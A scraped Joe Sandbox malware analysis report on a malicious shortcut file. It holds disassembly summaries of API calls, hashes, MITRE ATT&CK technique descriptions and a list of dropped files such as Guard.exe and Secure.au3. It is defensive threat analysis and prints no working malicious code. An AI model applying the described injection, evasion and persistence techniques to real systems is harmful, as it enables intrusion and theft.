Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 1c53bb552cdb87e0ac276cc0f39a4578f5c81416d10a7d9ba9c7d46b373e3925
Instruction ID: e34adf5712280d70bcf86dd3aa634f9741c8937791f2f5151ba2ad7e9464cb5b
Opcode Fuzzy Hash: 1c53bb552cdb87e0ac276cc0f39a4578f5c81416d10a7d9ba9c7d46b373e3925
Instruction Fuzzy Hash: 01E0263290022817C72096989C05FEE77DDDB8A690F0002BBFC08C7204D9709C8086D4

Function 00714D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00714D31

Part of subcall function 006C1821: _memmove.LIBCMT ref: 006C185B

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: eeef1403da83ad6f1d79cd1ac4c04c7386fc092742893d48e0514f96dc8482aa
Instruction ID: 98cf3424c59a64e884280e8d5008a571a9e1bcc6eeb35100997e4f379471b942
Opcode Fuzzy Hash: eeef1403da83ad6f1d79cd1ac4c04c7386fc092742893d48e0514f96dc8482aa
Instruction Fuzzy Hash: A6D05EA590032C2BDB60E6A89C0DDB77BACD746220F0006A67D5CC3102E9349D4586E0

Function 006C42AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,007006E6,00000000,00000000,00000000), ref: 006C42BF

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 99ac126eac46116cfc2ada0b9d5011289c00c3a613d8c0f3bd171386995952ae
Instruction ID: 97f97f505636e98e886e3bb6a5a294a61842905081a8d132efd55e0f7a2eb066
Opcode Fuzzy Hash: 99ac126eac46116cfc2ada0b9d5011289c00c3a613d8c0f3bd171386995952ae
Instruction Fuzzy Hash: 09D0C77464020CBFE710CB80DC46FAD777CEB05710F100195FE0466290D6B27D508795

Function 00714FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00713BFE), ref: 00714FED

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d6379b3aae48cdef15e42a1e4286a8438b62934217e9905d06f2eaa13497485e
Instruction ID: 96ced9b9ca579b7efb9beae485fc99de00410186b276defb7068873be00e3371
Opcode Fuzzy Hash: d6379b3aae48cdef15e42a1e4286a8438b62934217e9905d06f2eaa13497485e
Instruction Fuzzy Hash: 47B092390006005A9E281E3C19680DD338958433A97DC1B82E978856E1933D888BA5A0

Function 006D0E38 Relevance: 1.3, APIs: 1, Instructions: 94sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 006D0EE7

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 5da979c6922813ebe62287e8d060465626b4516d62a451c89081a66bdc4e2601
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 7531B771E001099BE718DF59C480AA9F7A6FF99300F648AA6E409CB352E731EDC1CBC0

Function 0071C270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00714005: FindFirstFileW.KERNEL32(?,?), ref: 0071407C
Part of subcall function 00714005: DeleteFileW.KERNEL32(?,?,?,?), ref: 007140CC
Part of subcall function 00714005: FindNextFileW.KERNEL32(00000000,00000010), ref: 007140DD
Part of subcall function 00714005: FindClose.KERNEL32(00000000), ref: 007140F4

GetLastError.KERNEL32 ref: 0071C292

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: b87f12bd396d59c22a34cb1c5369dd3d75a0bf55e0dbccd3c2a16507e708a4e0
Instruction ID: a9c420b8212283f0f8941d10aa170770d85be55381954f6f1ca09cf7c6ab481b
Opcode Fuzzy Hash: b87f12bd396d59c22a34cb1c5369dd3d75a0bf55e0dbccd3c2a16507e708a4e0
Instruction Fuzzy Hash: D0F082312101108FCB10EF59D844FA9B7E6AF48720F05845DF94587352CB74BC41CB98

Function 006C42CF Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,006F2F8B), ref: 006C42EF

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 43504513b66758d147a7d4c6784c658e5493abd830c5ae47b850f1c018e3b772
Instruction ID: 3b8597ce1d8601116e822dc05fc78b0577031c3dac752fb9ece025b8cc0e5d45
Opcode Fuzzy Hash: 43504513b66758d147a7d4c6784c658e5493abd830c5ae47b850f1c018e3b772
Instruction Fuzzy Hash: 1AE09279400B01CFC3318F1AE815862FBE5FFE13613214A2EE4E692660D7B4599ADB90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report duyba.lnk.download.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\Guard.exe

C:\Users\Public\PublicProfile.ps1

C:\Users\Public\Secure.au3

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3c557d8e-0446-4cb4-a442-1ce2a0a972d0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6474cc.TMP (copy)

Windows Analysis Report
duyba.lnk.download.lnk

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre